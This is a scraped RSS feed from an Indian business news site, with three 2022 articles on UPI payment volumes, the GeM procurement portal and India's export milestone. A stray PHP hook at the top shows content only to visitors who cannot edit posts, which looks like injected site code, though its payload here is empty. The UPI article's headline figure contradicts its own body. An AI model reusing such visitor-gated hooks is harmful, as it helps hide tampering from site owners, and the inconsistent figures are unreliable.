function wp_pf_d1139e69(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_d1139e69"); Piyush Goyal - Corp India News https://corpindianews.com One Stop Destination for all Corporate Related Content Wed, 22 Jan 2025 06:01:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 https://corpindianews.com/wp-content/uploads/2022/07/cropped-Untitled-1-32x32.jpg Piyush Goyal - Corp India News https://corpindianews.com 32 32 UPI recorded 1 lakh Cr in transactions values last year https://corpindianews.com/economy/upi-recorded-1-lakh-cr-in-transactions-values-last-year/ Fri, 01 Apr 2022 12:41:29 +0000 http://localhost/corpindianews/?p=1242 The state-owned Unified Payments Interface (UPI) has crossed Rs 1 Lakh crore mark in transactions values for 2021-22. According to the National Payments Corporation of India (NPCI), UPI recorded transactions worth Rs 83.45 lakh Crore in 2021-22, Rs 504 crore transactions alone in March. It recorded a surge of 7.5 per cent from the previous […]

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]]> The state-owned Unified Payments Interface (UPI) has crossed Rs 1 Lakh crore mark in transactions values for 2021-22.

According to the National Payments Corporation of India (NPCI), UPI recorded transactions worth Rs 83.45 lakh Crore in 2021-22, Rs 504 crore transactions alone in March. It recorded a surge of 7.5 per cent from the previous month, with a transaction value of a record Rs8.88 lakh crore as of March 29.

Finance Minister, Nirmala Sitharaman, tweeted, “UPI crossed the 500-crore mark in volumes for the first time in March. As per NPCI’s data, 504 crore transactions were recorded by March 29 itself.”

As per the report, UPI’s significant rise in transactions is driven by pandemic induced lockdowns leveraging a widespread adoption of digital payments in the last two years. Hence, it has broken many records and now is moving closer to registering a monthly record value of Rs 9 lakh crore.

Minister of Commerce and Industry, Piyush Goyal, tweeted, “Thumbs Up for Digital Transactions: A watershed moment for the UPI as it zooms past the $1-trillion mark in digital transaction value in FY22.”

It is to be noted that UPI had recorded around 260 crore transactions valued at Rs 4.93 lakh crore in April 2021. Since then, the monthly transaction volumes have increased to 94 per cent and transaction values by 80 per cent marking a consistent growth.

Moreover, the state-owned payment mode has seen a remarkable increase in total retail payments in the country. It has been noted that 60 per cent of volumes of India’s retail payments came from UPI in 2021-22.

Around 50 per cent of UPI transactions are up to Rs 200, and 75 per cent of the total volume of retail transactions (including cash) in India are below Rs 100 in value.

As a result, the Reserve bank of India (RBI) had directed the NCPI to launch UPI for feature phones and offline transactions for small-value payments to further rise in the growth trajectory.

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]]> Another GeM in the Crown: Govt e-Marketplace crosses Rs 1 lakh crore order value https://corpindianews.com/msmes/another-gem-in-the-crown-govt-e-marketplace-crosses-rs-1-lakh-crore-order-value/ Thu, 24 Mar 2022 08:14:01 +0000 http://localhost/corpindianews/?p=1080 Prime Minister Narendra Modi applauded the Central Government’s web portal, Government e-Marketplace (GeM), to procure goods and services for central and state government, for achieving the milestone of Rs 1 lakh crore order value in one year. The Prime Minister wrote on Twitter, “Happy to know that @GeM_India has achieved order value of Rs 1 […]

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]]> Prime Minister Narendra Modi applauded the Central Government’s web portal, Government e-Marketplace (GeM), to procure goods and services for central and state government, for achieving the milestone of Rs 1 lakh crore order value in one year.

The Prime Minister wrote on Twitter, “Happy to know that @GeM_India has achieved order value of Rs 1 Lakh Crore in a single year! This is a significant increase from previous years. The GeM platform is especially empowering MSMEs, with 57% of order value coming from MSME sector.”

Minister of Commerce & Industry Piyush Goyal also shared a short video and congratulated the stakeholders of GeM for their contribution towards the Government’s vision of AtmaNirbharBharat.

The Union Minister Tweeted,” Today, GeM has clocked order value of INR 1 Lakh crore in a single year in FY 2021-22. Congratulations to all stakeholders especially the sellers in MSME sector, women entrepreneurs, startups, weavers and artisans in continuing to contribute to the vision of an AtmaNirbharBharat.”

As per the government data, order worth Rs 422 Crore were placed in the initial year, which rose to a whopping Rs 6,188 Crore in the next year. The web portal registered Rs 38,500 Crore orders in the pandemic year of 2020-21 that increased up to 160 per cent crossing the mark of Rs 1 lakh crore in the current financial year.

GeM- Govt e-Marketplace crosses Rs 1 lakh Cr order value

Reportedly, the launch of the ‘Womaniya’ scheme for women entrepreneurs and women-led self-help groups or SHGs, selling their handicrafts, handloom, accessories, etc. directly to government ministries and departments, and training of women entrepreneurs by various national and state women organisations is considered to be one of the reasons of the growth of GeM.

About GeM:


Government e-Marketplace (GeM) is a digital marketplace where local vendors provide common user goods and services to Government officers. Modi Government began this initiative to bring transparency in government offices and give a push to SMEs. The purchases through GeM by Government users have been authorised and made mandatory by the Ministry of Finance by adding a new Rule No. 149 in the General Financial Rules, 2017.

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]]> Atmanirbhar Bharat Milestone: India Achieves Highest-Ever Export Target of $400 Bn https://corpindianews.com/economy/atmanirbhar-bharat-milestone-india-achieves-highest-ever-export-target-of-400-bn/ Wed, 23 Mar 2022 10:03:20 +0000 http://localhost/corpindianews/?p=1067 In a first, India has achieved its good export target crossing $400 Billion nine days ahead of schedule, which is a whopping rise from last year’s exports that stood at $292 Billion in 2020-21. On Monday, reportedly, commerce and industry minister Piyush Goyal said that India will clock around $410 billion of goods exports in […]

The post Atmanirbhar Bharat Milestone: India Achieves Highest-Ever Export Target of $400 Bn first appeared on Corp India News.

]]> In a first, India has achieved its good export target crossing $400 Billion nine days ahead of schedule, which is a whopping rise from last year’s exports that stood at $292 Billion in 2020-21.

On Monday, reportedly, commerce and industry minister Piyush Goyal said that India will clock around $410 billion of goods exports in FY22, higher than the $400 billion aimed despite the “problems in the Northern part of Europe and Asia”.

Prime Minister Narendra Modi took to Twitter to applaud this huge achievement; he wrote, “India set an ambitious target of $400 Billion of goods exports and achieves this target for the first time ever. I congratulate our farmers, weavers, MSMEs, manufacturers, exporters for this success. This is a key milestone in our Aatmanirbhar Bharat journey.”

PM’s Tweet

While India maintained an average of $30 Billion exports for 11 consecutive months, it registered the highest ever monthly merchandise exports of $39.3 Billion in December 2021.

Giving credit to PM Modi’s call for the #LocalGoesGlobal initiative, Commerce and industry minister Piyush Goyal tweeted, “PM Narendra Modi Ji’s clarion call of #LocalGoesGlobal is a reality. Under your visionary leadership, India has scripted history by achieving an ambitious target of $400 Billion of goods export within a single year. Make in India lion is roaring aloud across the world.

As per the government data, petroleum products, electronic goods, engineering goods, leather, coffee, plastic, ready-made garments of all textiles, meat and dairy products, marine products, and tobacco have remained the key sectors for exports. While wheat, rice, marine products, sugar, and spice are the top agricultural products, India has become a major global supplier of food & essential agriculture products.

The government of India shared a short video on MyGovIndia social media on this new milestone.

This year’s blockbuster exports in India is a result of PM Modi’s call for the #LocalGoesGlobal under Atmanirbhar Bharat.

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